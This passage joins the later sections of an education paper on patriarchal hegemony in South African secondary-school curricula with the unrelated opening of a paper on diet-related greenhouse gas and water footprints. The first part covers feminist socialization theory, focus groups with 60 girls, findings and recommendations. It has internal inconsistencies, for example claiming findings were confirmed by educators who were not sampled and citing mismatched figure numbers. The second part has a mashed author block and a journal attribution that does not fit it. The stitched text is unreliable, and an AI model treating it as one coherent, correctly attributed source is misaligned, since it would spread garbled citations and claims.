For socialization theorists, as for liberal feminists more generally, equality requires the exercise of gender-neutral justice and the same principles that must be applied to all persons, regardless of gender (Mutekwe, 2018). The few exceptions have to do with compensating for historically entrenched sexism through affirmative action policies and acknowledging the extra demands placed on working mothers. For example, liberal feminists have pressed for childcare provisions and pregnancy or adoption leave for workers so that mothering does not derail women’s careers any more than fathering does men’s careers (Meena, 2004). Most of the focus of liberal feminism, is on equal access to education and career prospects or jobs based on merit and equal pay for comparable work (Murphy & Gipps, 2006). Mutekwe (2018) contends that with the elimination of discriminatory policies and other arbitrary obstacles to women’s growth and flourishing, liberal feminists believe, men and women will be able to flourish side by side.

In socialization theory, as in liberal feminism more generally, key equity issues include eliminating bias in media imagery, classroom dynamics, funding for extracurricular sports programmes and treatment of women and girls in textbooks and the overall school curricular material (Mutekwe, 2012a). If justice is to be served, socialization theorists argue, girls must have the same opportunities and classroom experiences as boys (Thompson, 2003). For the most part, research undertaken by socialization feminists has focused on white, middle-class girls and women, on the assumption that the experience of sexism is the same regardless of race, class or ethnicity and that it is best studied in isolation from the added complications of other forms of discrimination (Thompson, 2003). Not only in the heyday of socialization theory but years later, according to reports for the Association of American Colleges’ Project on the Status and Education of Women, research on the educational experiences of African-American and Hispanic women was almost non-existent (Thompson, 2003). Ironically, the Project’s own report on Black Women in Academia stresses that its recommendations are tailored for the needs of Black women specifically but can be adapted to address the concerns of all women across the globe. While recognizing some of the specific threats and forms of exclusion that minority women in academia have encountered, both this report and the Project’s report on Hispanic women tend to share white socialization theorists’ framing of sexism as a generic women’s problem, with discrimination as its primary expression (Thompson, 2003).

The aforementioned analyses consider the experience of women of colour largely in additive terms by assuming that the issues women of colour face come from sexism (generically conceived) plus racism or ethnocentrism, rather than from sex or culture, race, class or sexuality as interlocking oppressions (Noddings, 2014). No wonder they fail to recognize how the kind of sexism that women of colour, working-class women and/or lesbians experience differs from that experienced by the more privileged women (Noddings 2014). That analyses grounded in socialization theory seldom address differences among women is not surprising. Colour-blindness, like gender-blindness, is a hallmark of socialization theory (Thompson, 2010). Regrettably, socialization theory regards femininity and other forms of difference as artificial, and as a product of different and inherently unequal treatment; justice requires that people overlook these differences and treat each other as if they were the same (Thompson, 2010). On account of the view that the issue is unequal treatment, socialization theorists focus almost exclusively on what women lack especially in comparison to the most privileged men (Thompson, 2010). As a result, it has no framework for recognizing and building upon the strengths that women in different situations may develop (Thompson, 2003).

Hidden in the liberal feminist insistence on sameness is an implicit deficit account that women who deviate from the norm set by privileged men are seen as lesser and therefore the deficit reading of girls and women is compounded in the case of women of colour (Thompson, 2003). As Cotera (1997) points out, liberal feminism assumes that the minority women’s plight is worse than that of privileged women. Often, white analyses ascribe the problems facing girls and women of colour not to racism or poverty but to their culture (Cotera, 1997). In England, for example, Asian girls are likely to be seen as being held back by traditional cultural mores. The Asian family, rather than institutionalized racism, sexism and class bias, is constructed as the source of the problem, Cotera (1997) notes. Similarly, white liberal feminist analyses in the United States tend to construe the source of the problems facing Latinas as Latino machismo and not the intersection of sexism with racism and class oppression (Cotera, 1997). In effect, liberal feminism and socialization theory focus on women as victims, regarding each added category of oppression as a further burden to be overcome. But although, in terms of economic status and civic freedom, women of colour face greater obstacles than do white, middle-class women, they also may enjoy certain distinctive strengths (Collins, 2011).

Owing to the fact that the situation of women of colour demands exceptional survival skills and lends itself to oppositional knowledge, it may promote a type of authoritative agency incompatible with white ideals of femininity (Collins, 2011). Cannon (2018) argues that the real-lived texture of Black life requires moral agency of a kind unknown or even antithetical to dominant ideals. Moreover, in terms of personal status, contends Cotera (1997), the minority woman is usually ahead as she is more likely to be head of a household or a working woman with plenty of experience as to what is in life. In spite of the unfortunate deficit readings produced by the insistence on interpreting difference as deviance, socialization theorists offer three important advantages. First, by problematizing the naturalness of girls’ affinity for particular activities, it undermines claims that if girls and women are not interested in mathematics, science or sports, for example, then they do not need education in those areas (Cotera, 1997). Reluctance to study physics, whether it is because girls are intimidated by its masculine character or because they do not believe that as homemakers they will need to know physics, is not a reason to allow girls to opt out of a complete education, on the gender-neutral analysis. Second, policy reforms resulting from socialization arguments have helped redress longstanding institutional inequities. For example, before certain practices were passed into law in many countries, funding for extracurricular school sports had been designated as funding for boys, on the assumption that girls were not or ought not to be athletic (Cotera, 1997). Equal access and equal funding policies set in place presumably have helped to encourage more sports involvement on the part of schoolgirls and may be partly responsible for the current higher female achievement in sports (Cotera, 1997). In general, socialization theorists’ focus on issues of institutional bias including questions of inclusion and access, the availability of role models, the fostering of a supportive educational climate for girls and women and the construction of a representative curriculum, frames gender inequity as the result of something more systematic than merely individual preferences and capabilities (Cotera,1997). Finally, by insisting on gender-neutral standards, the socialization theory poses a serious challenge to sentimental treatment of women’s contributions to society. If treating women differently from men on the job, on the playing field, in the classroom, in politics, or in the literary canon is sexist by definition, then educators cannot simply put women on a pedestal and then walk off and leave them there (Barton, 2017). The next section discusses the research methodology as adopted for this paper.

The research methodology

In this section of the paper the description examines the research paradigm, design, population and sampling, data collection methods and ethical considerations adopted as well as the measures utilised to ensure trustworthiness of the research.

Paradigm and design

The research adopted an interpretivist paradigm as philosophical world view and utilised a qualitative descriptive phenomenological design genre as the strategy of enquiry owing to the researchers’ interest in generating the data that has a subjective ontology (Nieuwenhuis, 2016). Drawing from the research onion principle as propounded by Saunders, Lewis and Thornhill (2016) it is herein argued that the two concepts of paradigm and design form the foundation of understanding decisions such as the methodology adopted and the time horizon and procedures for the data collection processes. As can be discerned from figure 2 below, the research philosophy, herein referred to as the paradigm is the fundamental outer layer of the research onion as contended by Saunders et al., (2016). Further reasoning from this perspective, the research approach (either inductive or deductive) constitutes the second layer according to the research onion viewpoint. The research onion principle also represents a number of other layers of decisions that ought to guide researchers in the entire research process right from the paradigm, approaches, design, methodology, data collection and analysis techniques (Sounders et al., 2016). The aforesaid implies that the philosophical assumptions made at the outset of the research need to be described clearly to ensure the entire research design fits well (Holden & Lynch, 2004). The diagrammatic illustration below explains the above views fully.

Figure 1.2: The research process adopted

Philosophical assumptions

Further to the above, the implicit research assumptions indicate that while the outer layer of the onion comprises the many research paradigms or philosophical worldviews such as the interpretivist, positivist, realism, social constructivist, transformative and pragmatist, the second layer comprises the research approaches, which according to Saunders et al., (2016) are either inductive or deductive research approaches. In the third layer are virtually all of the research designs (experimental, non-experimental, survey, case study, ethnography, grounded theory and action research). The methodology, that is, whether the study adopts a qualitative, quantitative or mixed-methods approach, is found at the fourth layer according to the research onion principle while the innermost layer contains such research aspects as sampling and the data collection procedures such as observations, interviews or questionnaires (Saunders et al., 2016). For this study, the overall approach and design adopted was of an inductive qualitative phenomenological type of the lived experiences of South African secondary-school learners as boys and girls. The sampling technique adopted was non-probability or purposeful sampling to ensure that the participants who were rich in the relevant data became part and parcel of the units of analysis (Saunders et al., 2016).

The research design

As mentioned earlier on, the overall research design adopted was qualitative while the specific strategy of inquiry was a descriptive phenomenological design genre on account of the researcher’s quest to understand the participants’ lived experiences (Patton, 2015) of the patriarchal hegemony typical of boys in the South African public secondary schools. Further to this, the design genre (strategy of inquiry) was also chosen for its beneficial aspects such as its flexibility in exploring the issue of hegemonic masculinity in the South African secondary school curriculum to possibly extract the most possible and salient facets of the phenomenon in detail (Mertens 2010). To ascertain how the participants experience the patriarchal hegemony in their schools, there was certainly a need to get their perceptions and feelings on the phenomenon by talking to them through focus group discussion interviews in order to provide a detailed view of their experiences of male domination (patriarchy).

Population and sampling

The population for this research were South African public high school learners from the North West Province and it was from this target population where a sample size of 60 secondary school girls were purposefully sampled to participate in the study. The objective of involving the school girls in the study was in view of their patriarchal experiences at the hands of boys and men in their South African secondary schools.

Data collection methods and measures to ensure trustworthiness

The data collection method adopted for this research was focus group discussion interviews defined by McLafferty (2014) as a semi-structured group discussion, moderated by the researcher(s) as discussion leader(s), held in an informal setting, with the purpose of obtaining information by means of group interaction on a designated topic. Through the use of this method, we were able to explore the manifestations of hegemonic masculinity from the participants and to generate a widening of responses by activating details of perspectives and releasing inhibitions that might have otherwise discouraged some of the participants from disclosing important information (Dzvimbo, Moloi, Portgieter, Wolhuter & van der Walt, 2010). This method produced data rich in detail that is often difficult to achieve with other research methods, because participants built on each other’s ideas and comments to provide in-depth and value-added insights on the subject of the prevalence of patriarchal hegemony in the South African secondary school curriculum.

In view of the fact that a qualitative descriptive phenomenological strategy of inquiry was adopted, Merriam’s (2012) cautioning that the data collection process to be adopted needs to transcend the use of a unitary tool, we had to adopt not only a focus group interview guide but also to use a voice recorder in order to allow for later transcription of the data. The process of dividing the participants into 6 focus groups of 10 members each preceded the focus group interviews which were held with the 60 secondary school girl learners from the five schools conveniently sampled for the study. This data collection process was also preceded by the pilot study, which was first conducted to test the focus group discussion interview guide feasibility and or reliability. The inspiration for doing all this came from Hesse-Biber’s (2012) cautioning that for phenomenological studies a robust and in-depth methodological triangulation is of utmost importance in buttressing the trustworthiness of the study. To further ensure trustworthiness the measures adopted were member checking, and peer debriefing and these processes coupled with the use of a voice recorder and field were essential in helping us manage the data as well as cluster the themes emerging from the collected data into code families, as described by Nieuwenhuis (2016) as super ordinate themes.

Ethical considerations

Given Babbie and Mouton’s (2010) contention that all research studies should involve ethical principles in one way or another, this study commenced with the researcher seeking the permission of the North west Department of Education for purposes of interviewing the learners in the secondary schools within their jurisdiction. Further permission was also sought and obtained from the school principals and the parents of the girl learners who were to take part in the study. This meant that consent and assent letters were prepared by the researchers and signed by all the research participants during the research advance protocols (Bertram & Christiansen, 2014). To put the learner participants at ease prior to partaking in the focus group discussion interviews, we had to draw to the participants’ consciousness the way the research process was to take so as to allow them to be at ease during data collection process (Nieuwenhuis, 2016). In all this, the researchers took into account virtually all the principles of informed consent in order to afford the participants full knowledge of the purpose of their partaking in the study, their voluntary participation and the freedom they had to withdraw from the research at any time should they have felt the need to do so. Fortunately none withdrew prematurely. The focus group discussion interviews were carried out by both the researchers and in each case the interviews literally unfolded with the researchers clarifying the objectives and the modus operandi that the data collection process was to assume and this also helped to afford the participants not only the necessary informed consent but also helped guarantee them the principles of confidentiality, anonymity and drew their attention to the need for voluntary participation prior to their participation (Bertram & Christiansen, 2014).

Analysis of results and discussion

The results and discussion of this research paper are presented in accordance with the following predominant themes, which emerged from the analysis and interpretation of the findings; the way the South African school curriculum promotes the patriarchal ideology, the nature of patriarchal hegemony typical of the South African school curriculum and how the patriarchal hegemony affects the learners’ life chances as girls and boys. The discussion under each of these themes are as presented in the subsequent sections of this paper.

The way the South African school curriculum promotes the patriarchal ideology

It emerged from the focus group discussion interviews as held in the research that among the many and varied ways by which the South African school curriculum promotes or accentuates hegemonic ideologies is through the influence of educator attitudes and expectations of their learners’ gender and or sex role perceptions. It was also evident in the focus group discussion that the participants were quite aware of the distinction between these two concepts and asked to demonstrate their awareness of the different meanings, many of them were quick to point out that while sex refers to biological determinations of maleness of femaleness, gender describes the social or cultural aspects of being male or fame and that it is also associated with the roles that each social group is expected to play in a given society. On the way in which the South African school curriculum fosters and promotes the patriarchal hegemony, the participants noted that generally the majority of their educators always find the overall academic performance of girls not as good as that of their boy counterparts. As a result this has always caused what many of the participants regard as serious bias against their efforts in academia. Asked to explain what they attribute the so-called discrepancy in academic performance to, many of participants cited their (girls’) acceptance of the view that the feminine role is primarily domestic and the belief that a man should be the provider and head of the family as the major causes of the performance discrepancy between girls and boys in education. Probed further, fifty five of the sixty in the sample claimed that not only were their educators disseminating these stereotypical views through their teaching, but also that in their personal and family lives they were being enculturated into these gender-biased ideological values and role expectations. Further to this, many of them also claimed that they often saw it as their duty as future wives to prepare their future children for “these appropriate” gender roles in the wider society and this view is encapsulated in the following response from some of the participants:

I think it is part of my job as a female, mother or wife to my husband to prepare my girl children to also be good wives and so I try by all means to prepare them in preparation for this most socially valued gender role. Ito ensure this role is promoted, many of our educators encourage us to choose Matriculation subjects such as Hotel and Tourism or Domestic science subjects such as, Fashion and Fabrics so as to be better housekeepers and ideal wives or mothers. For boys, some educators also try to help them master the basics of some so-called feminine subjects so as to be able to temporarily look after themselves given that they will not have a wife immediately they leave school or that some of them may be far from their mothers.

These findings revealed that the gender-role ideologies, biases and stereotypes disseminated by educators coupled with their (educator) attitudes towards their girl learners as well as their beliefs about the nature of feminine emotions, abilities and aptitudes do affect their expectations and subsequent treatment of girls in school curriculum. These findings confirm Meyer’s (2008) assertion that educator attitudes and their curricular-delivery pedagogies influence learner expectations remarkably. To a great extent the academic self-concepts of the girl participants in this study reflected the ways in which their educators depicted them. Another issue that was easily discernible from the focus group discussion interviews was the influence of school and classroom curricular material in promoting the hegemonic masculinity that girls came to regard as a normal part of their everyday life. In this view, many of the participants seemed to echo the sentiments expressed in Walum’s (2008) contention that curriculum discourses tend to disseminate messages of cultural definitions of male and female roles and contribute enormously to the social construction of gender and sexual inequality in females and males as well as in promoting the patriarchal ideology that it’s a men’s world. Most of the participants claimed that the bulk of the representations or images of male and female characters in text books, articles, wall charts and pictures used as pedagogical tools seem to promote more male influential social roles than those of females. One participant cited the fact that in one of their grade 10 Life Orientation text books, most of the prestigious social roles or occupations, for example, medical doctors, police officers, school principals, university professors and aircraft engineers are all portrayed as male characters while the roles of nurse, teacher, waitress, pharmacist, air hostess, secretary and receptionists are given as predominantly for females. According to the participants’ view that the accompanying language used in the text books, images, pictures and wall charts shows that as the chief vehicle making social interaction possible the language certainly provides an ideal illustration of the cultural transmission process peddled by some aspects of the school curriculum. By this the participants were of the view that since language contains many explicit messages regarding cultural definitions of male and female gender roles, it is through this linguistic communication that much gender-based social interaction is engendered and perpetuated. This aforementioned finding is consistent with the views expressed by Nilsen (2010) in his contention that discourses have been used in the past and are still being used to allocate, define and sometimes dehumanise a people into submission. Such discourses (linguistic forms) reflect and shape the cultural contexts and definitions in which gender roles as a social construct are embedded (Pinar, 2009). Further drawing from Nilsen’s (2010) assertion about gender and sexism in the English language, it is clear that his argument that gender-biased discourses usually take three forms: ignoring, defining and deprecating as can be discerned from Nilsen as cited in Walum’s (2008) use of a chicken metaphor, which alleges that in her youth the girl child is a chick, and then she marries and begins feeling cooped up, so she goes to hen parties where she cackles with her friends. Then she has her brood and begins to henpeck her husband. Finally she turns into an old biddy.

It is in view of the following explanation that the cooping, cackling and brooding are always conveyed and reinforced by the images of men and women in the curricular material or literature to which the learners were exposed: the text books, articles and literature material used as tools of pedagogy in the school curriculum. Further examples noted by the participants of such curricular material that accentuates hegemonic masculinity or patriarchal hegemony included the wall charts and work cards that are hanged their classrooms and textbooks, which all reflect traditional male and female dominated spheres of life such as females cooking, doing housekeeping, nurturing children, feeding babies and carrying them on the back while men are portrayed in the so-called traditional masculine gender stereotyped occupations. It is in this sense that the South African school curriculum is viewed as having set the scene for unequal educational and career aspirations between boys and girls and their subsequent unequal access to economic sustainability. The curricular material in the form of text books, articles, work cards, wall charts and the gender–based images contained therein tend to allocate virtually all the prestigious careers or jobs to men while relegating those associated with housekeeping and nurturing children to girls and women.

The nature of patriarchal hegemony typical of the South African school curriculum

The bulk of the participants in the study indicated that the mere acceptance of the feminine role as primarily domestic and the belief that the men should be the providers, breadwinners and heads of the families is one way through which the patriarchal hegemony manifests itself in the South African school curriculum. It was apparent in the focus group discussion interviews that the above mentioned view as given by the participants is quite instrumental in the peddling of the patriarchal values and ideologies by many of the educators in the South African secondary schools. It was quite disheartening to note that at no time during the focus group discussion interviews did the participants indicate an awareness that they or their school curriculum may in a way influence their educational achievement and career choices as most of them tended to treat the patriarchal hegemony as the normal way within which teaching and learning should proceed. Surprising enough, they agreed that in general girls do not achieve academically as much as do their boy counterparts but in their response when asked to explain what they attribute their academic under-achievement compared to that of their boy counterparts, many of them seemed to be of the view that the under-achievement and career choices typical of many girls is due to the inadequacies of their general social structures, which do not afford girls the same study opportunities as boys. Probed further, they claimed that their parents, home backgrounds and the culture of the broader society is to blame for the plight of many girls and women. Thus the participants do not view their educators as having a professional responsibility to initiate measures to help them overcome their limited agency (Giddens, 2001; Miller & Budd, 2019). In the final analysis, the aforesaid views were considered a product of the influence of the ingrained patriarchal ideology, which to a greater extent tends to entrench the emergent hegemonic masculinity.

Further to the above, many of the participants regarded their future beyond schooling as a central influence on what they aspired to follow. Although many in the focus group discussion interviews aspired to go to university after completing their Matric, they held strong beliefs about their future lives as wives, mothers and child-minders. Many of them thought that their parents had good marriages, and as a result they aspired to marry one day, especially after completion of university or vocational studies. Those who regarded marriage highly were residing with both matrimonial parents, and only eight out of the sixty participants lived with single parents.

A notable idea in the girls’ responses during the focus group discussion interviews was their wish not to rush into marriage before accomplishing their academic ambitions. Forty five participants indicated that they would prefer to wait until they had fulfilled their ambitions, fearing that it might be very difficult to find men as in their view men did not usually wish to marry women who have accomplished so much for fear of economic challenges in the home. The patriarchal nature of most families in the South African society was also reflected in the girls’ desire to have their would-be husbands assuming the roles of family breadwinner and head of family, and to be responsible for the financial support of their wives and children. These participants believed that their role as women was to be the caretaker, responsible for looking after their husbands, children and the home.

Other patriarchal hegemonic aspects typical of the South African school curriculum include the products of gender-role socialisation, which makes girls to internalise and accept the perception that feminine and masculine gender roles are products of their family backgrounds and world of work. Such a notion was also evident in their response to the question about their beliefs and values about the hierarchy of power and authority in their families as the private sphere and the economic world of work as the public sphere to which their responses were as expressed in the extract bellow

It is my responsibility as the wife to take care of the home and children while my husband leads, wields more power and authority as well as providing for the economic needs of our family. As his wife my role should be to do jobs in the home, for example, cooking, ironing and looking after our children. Furthermore, a husband should be more educated than his wife as this enables him to be an ideal head of the family and in order for him to earn more money. Many of us grew up observing our fathers in positions of authority over our mothers and that is how we learn to be who we are to be. It is clear to most of us especially those of us who grew up with both parents that the power hierarchy starts with the man of the house and then comes down to the eldest son or mother before it goes down to the rest of the boy children and to girls. Anyone who does not recognise and follow this is often considered not only radical but also a social misfit.

The aforementioned views thus reflect the effects of gender-role socialization and the impact it has on the patriarchal hegemony on girls and boys in society. The fact that many of the participants subscribed to the gender-stereotyped perceptions of men-only and women-only tasks in the public and private spheres might also be a reflection of the resilience of socializing agents in perpetuating gender-role stereotypes acquired through years of socialization from early childhood, especially because gender-role socialization takes place in children from as early as preschool age. Although career guides and counsellors or occupational psychologists may try to deconstruct these gender-role stereotypes, their effort may not be adequate to undo the effects of years of social conditioning, particularly in the social context of African countries where collective social values as echoed in old adage sayings such as “it takes a village to educate a child” are still prevalent. According to the participants’ socializing agents, in particular parents and older siblings not only condition their young ones to gender-type certain activities as for boys or girls but also most likely influence their future career aspirations. This view resonates with Meyer’s (2008) contention that in many African societies girls are most often made parents to help their mothers with looking after their siblings. Social structures are the main determinants of destiny, so many girls in this study did not challenge what their society considered as appropriate gender roles. Their views affirmed Gottfredson’s (2002) circumscription model of career development in which he suggests that, by adolescence, the girls’ career choices have already been narrowed down to those that are gender-appropriate and that a girl’s sense of options available with reasonable effort thus becomes circumscribed over time.

How patriarchal hegemony affects the learners’ life chances as girls and boys

Among the many and varied effects of the patriarchal hegemony cited by the participants on the life chances of the learners as girls and boys were the views such as that many educators encourage boys to respond to questions during class discussions in a manner that is different from that expected of their girl counterparts. One participant had this to say in support of this view; in the Life Science lesson for example, the educator engages more boys than girls in class discussions. The same is true of our Geography educator who tends to rely more on the boys for what he calls sound discussions than from the girls. The net effect of such a patriarchal hegemony is that boys tend to contribute more during class discussions and receive more attention and feedback from the educators culminating in a much academic performance level compared to their girl counterparts. The participants also pointed out that in some situations boys end up being considered more physically interactive and academically more analytical than girls and no wonder their educators expect them to better excel compared to their girl counterparts.

The evidence presented above is interestingly consistent with the findings reported by Whyte, Deem and Cruickshank (2002) in a study of secondary school educators in Birmingham, where they discovered that, generally, both male and female educators preferred to teach boys because they were more active, outspoken and willing to exchange ideas than did their girl counterparts. Gramsci’s (1971) view on the importance of common sense might also be crucial here in so far as it helps to clarify the academic gender differentiation within the school curriculum. Drawing from his contention, one can argue that the way school educators communicate the patriarchal ideology to their learners can be explained as one of the ways through which common sense tends to manufacture popular consent. By using gender-role biases and stereotypes, educators implicitly thwart alternatives to the dominant common-sensual ideas about the girls’ abilities. Through their ways of acting, wittingly or not they contribute to what Heywood (2004) would call the social construction of gender roles through social structures. How they interact with their learners as girls and boys can thus be viewed as the hegemonic permeation of an entire system of values, attitudes, beliefs, ideologies and the ethics that have the effect of supporting the status quo. To the extent that these aspects are experienced by the learners, they are likely to become part of their natural order of things (Boggs, 2006; Gramsci, 1971). Playing the role of organic intellectuals (Gramsci, 1971), the educators deliberately further the patriarchal hegemony and although Gramsci notes everyone is an intellectual in that they all have intellectual and rational faculties, not all have the social function of intellectuals. Therefore, what the educators do resonates with Gramsci’s notion of inorganic intellectuals in that they act as practically minded directors and organisers who produce hegemony by means of classroom interaction as ideological apparatuses.

A further influence of the patriarchal hegemony is implicit in the response of thirty five of the sixty participants who indicated that both the home and school environments tend to afford boys more opportunities for studying compared to that afforded to girls. The latter are often pressed for time, especially for homework, because of having to do household chores especially after supper. These views correspond with those reported by researchers Mosley (2004) and Mwaba (1994) in Ethiopia and South Africa respectively. Explaining how in the Ethiopian society parents generally constrain the girls’ opportunities for career aspirations, Mosley reported that cooking, cleaning and fetching water are considered feminine activities while agricultural activities such as ploughing the fields are deemed masculine roles. These roles are instilled in the girls and boys from a young age, such that it becomes part of their cultural practice and part and parcel of their career ambitions. In the South African context, Mwaba (1994) found that a sample of rural secondary school boys and girls characterised house cleaning, nursing and sweeping duties as examples of predominantly women-only social roles.

In this study, the girls’ narrative accounts of their lived experiences of school culture and how it influenced their life chances clearly dovetails with those expressed by Mwaba (1994) and Sadker and Sadker (1994) who contend that despite sitting in the same classroom, reading the same textbooks, and listening to the same educators, girls and their boy counterparts receive a very different school curriculum (content) and orientations towards their destiny or future career aspirations. For Sadker and Sadker (2012), upon entering school, girls often perform equally or better than boys on most measures of achievement, but by the time they graduate from high schools they have fallen behind the boys. In this study, this view was also confirmed by both the educators and the girls through their focus group discussion interview accounts. As the participants, the girls perceived their academic performance discrepancies as stemming from gender role enculturation in the social structures, particularly their homes and schools. The girls’ own views reflected that many were marginalised by their families (parents) and educators (teachers) in their schooling because their parents and educators transmitted gendered perceptions and expectations of social roles suitable for them. Such expectations were first instilled in them during their childhood activities and later entrenched by receiving further messages about particular jobs or careers from their educators and older siblings.

Drawing on Giddens’ (2001) structuration theory, one would argue that the above views reflect the effect of structure on the girls’ agency because the social structures (schools, religions and families) in this case had a constraining effect on their choices (agency) of career aspirations and thus limited their occupational horizons. For the boys, the social structures had an enabling effect because they provided adequate time to study and motivated them to excel. For the girls with some educators expressing an annoyance with them for not completing their homework, it communicated the taken-for-granted views and expectations. It is in this sense that Gitlin (2010) asserts that the influence of hegemonic ideologies often permeate the common sense that people use to understand their social roles in the world. In addition, Althusser’s (1972) assertion that schools are components of an ideological state apparatus that use ideology to reproduce inequalities of various types in capitalist societies explains the effects of the patriarchal hegemony on girls’ positions in the schools. Danziger (2003) notes that it is because of such conflicts that adolescent girls have historically tended to aspire to lower prestige, and usually more stereotypically feminine careers than their boy counterparts. The idea was also reported by Shapiro and Crowley (2002) following their study of the proportion of males to females in what they regarded as the most prestigious occupations. Reis’s (2007) assertion that, in most occupations, men surpassed women in both professional accomplishment and financial reward supports the above views. The findings also lend credence to Wilson (2003) and Wolpe’s (2006) argument that, in order to understand the marginal position of girls and women in the school curriculum and the labour market, it is crucial to first examine its manifestations of gender ideology.


The discussion in this paper has shown that while theories of socialization extend existing masculine gender roles and standards (patriarchal hegemony) to affect the life of girls and women, the feminist theories focus on bringing gender inequalities to the lime light so as to avoid reproducing or playing into them. Further to this, there is also a gender-difference theory which is concerned with enacting a new and independent ethic in the school curriculum. Its most important contribution to educational change is its emphasis on an alternative vision that yields positive goals for learners in the South African school curriculum. The problem is that the ethic on which that vision is based is not in fact independent but predicated on the very system of values it is meant to challenge. Despite the profoundly different analyses offered by socialization and feminist theories, the objections they raise to gender-difference theory are not dissimilar. All three positions argue that the idealized feminist character claims for caring and for women’s ways of knowing are, in the final analysis, quite indistinguishable from the conventionally and contingently feminist character and values that women in many advanced-industrial societies are supposed to enact. Furthermore, if the feminist character of caring and women’s ways of knowing is simply borrowed from what patriarchy assigns to women anyway, then, however much women may try to claim and make their own, they still derive much of their character from patriarchy and they function for patriarchy. The simplest form of this analysis is offered by socialization theorists, who argue that femininity is by definition a form of second-class citizenship and therefore not something to be reclaimed. Since in all except sentimental cases femininity is subordinate to masculinity, socialization theorists favour jettisoning femininity as a value system and giving women the opportunity to rise to the same standards that have served men so well. The school curriculum thus ought to play a gender sensitive or neutral role if it is to engender equality on the basis of gender in any given social structure.


The following are among the key recommendations made following the findings reported in this paper; since the discussion in this paper has shown that a whole range of curriculum selection seems to favour the interests of South African boys or men (patriarchy), there is an urgent need for curriculum designers and educators to revisit and refine it (curriculum as content of education) and make it gender sensitive in order to empower both girls and boys as opposed to advantaging only the latter. Although generally presented as unbiased, the interpretations and/or portrayals of males and females in the school curriculum need to be robustly re-examined with a view to providing a gender-balanced perspective and deconstructing the patriarchal-hegemonic tendencies typical of the South African school curriculum. The prevalence of hegemonic masculinity as evidenced in the South African secondary school curriculum is so counter-productive to the economic, social and political development of the country that it can no longer be left to continue as such especially if one considers the taken-for-granted patriarchal ideological biases that favour boys and men as a powerful social or gender group.


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Country-specific dietary shifts to mitigate climate and water crises

Brent F.Kimab,Raychel E.SantoabAllysan P.ScatterdayaJillian P.FryabcdColleen M.SynkaShannon R.CebronaMesfin M.MekonneneArjen Y.HoekstrafgSaskiade PeehMartin W.BloemabRoni A.NeffabiKeeve E.Nachmanabij

a Johns Hopkins Center for a Livable Future, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21202, United States
b Department of Environmental Health & Engineering, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
c Department of Health, Behavior and Society, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
d Department of Health Sciences, Towson University, Towson, MD, 21252, United States
e Robert B. Daugherty Water for Food Global Institute, University of Nebraska, Lincoln, NE, 68508, United States
f University of Twente, 7522 NB, Enschede, Netherlands
g Lee Kuan Yew School of Public Policy, National University of Singapore, Singapore, 259772, Singapore
h United Nations World Food Programme, Rome, 00148, Italy
i Department of Health Policy and Management, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
j Risk Sciences and Public Policy Institute, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
Under a Creative Commons license.
Ensovoort, volume 40 (2019), number 9: 1


Undernutrition, obesity, climate change, and freshwater depletion share food and agricultural systems as an underlying driver. Efforts to more closely align dietary patterns with sustainability and health goals could be better informed with data covering the spectrum of countries characterized by over- and undernutrition. Here, we model the greenhouse gas (GHG) and water footprints of nine increasingly plant-forward diets, aligned with criteria for a healthy diet, specific to 140 countries. Results varied widely by country due to differences in: nutritional adjustments, baseline consumption patterns from which modeled diets were derived, import patterns, and the GHG- and water-intensities of foods by country of origin. Relative to exclusively plant-based (vegan) diets, diets comprised of plant foods with modest amounts of low-food chain animals (i.e., forage fish, bivalve mollusks, insects) had comparably small GHG and water footprints. In 95 percent of countries, diets that only included animal products for one meal per day were less GHG-intensive than lacto-ovo vegetarian diets (in which terrestrial and aquatic meats were eliminated entirely) in part due to the GHG-intensity of dairy foods. The relatively optimal choices among modeled diets otherwise varied across countries, in part due to contributions from deforestation (e.g., for feed production and grazing lands) and highly freshwater-intensive forms of aquaculture. Globally, modest plant-forward shifts (e.g., to low red meat diets) were offset by modeled increases in protein and caloric intake among undernourished populations, resulting in net increases in GHG and water footprints. These and other findings highlight the importance of trade, culture, and nutrition in diet footprint analyses. The country-specific results presented here could provide nutritionally-viable pathways for high-meat consuming countries as well as transitioning countries that might otherwise adopt the Western dietary pattern.


Sustainable diet
Dietary change
Food systems
Greenhouse gas emissions
Water footprint

1. Introduction

Undernutrition, obesity, and climate change have been described as a synergy of pandemics (Swinburn et al., 2019). Together with freshwater depletion and other related ecological harms, these intersecting global challenges share food and agricultural systems as an underlying driver. Leveraging those patterns presents an opportunity to address multiple challenges in tandem, with an eye toward avoiding the unintended consequences of making progress in some areas at the expense of others. For many low- and middle-income countries, for example, messaging about sustainable diets is complicated by a persistent high prevalence of all forms of undernutrition (Development Initiatives, 2018). Accounting for these and other factors at a country-specific level could help inform efforts among high-meat consuming countries to better align diets with public health and ecological goals, while providing nutritionally-viable strategies for transitioning countries that might otherwise adopt the Western dietary pattern, particularly among their urban population.

Shifts toward plant-forward diets are essential for meeting climate change mitigation targets (Bajzelj et al., 2014; Bryngelsson et al., 2016; Hedenus et al., 2014) and remaining within planetary boundaries (Willett et al., 2019). These and other concerns have fueled efforts—proposed and enacted—to reduce animal product consumption through approaches including behavior change campaigns (de Boer et al., 2014d; Morris et al., 2014), environmental impact labeling (Leach et al., 2016), dietary recommendations (Fischer and Garnett, 2016), and taxes (Säll and Gren, 2015; Springmann et al., 2017; Wirsenius et al., 2011). At the same time, animals raised for food can provide a range of agro-economic benefits, including converting inedible crop residues and by-products into human-edible food, and utilizing the share of grassland unsuitable for crop production (Mottet et al., 2017). Furthermore, animal-source foods are a valuable source of protein and bioavailable micronutrients, especially for young children (de Pee and Bloem, 2009d; Semba, 2016; Swinburn et al., 2019).

Policy and behavioral interventions aimed at promoting sustainable diets could be better informed with evidence about where they could offer the greatest potential benefits, the nutritional status of different populations, and the relative environmental impacts of each diet in each country. Previous studies documenting ecological impacts of dietary scenarios have called for greater geographic specificity (Aleksandrowicz et al., 2016; Jones et al., 2016), as most have examined only one or a few—almost exclusively industrialized—countries, or a regional or global aggregate (Appendix A, Table A1).

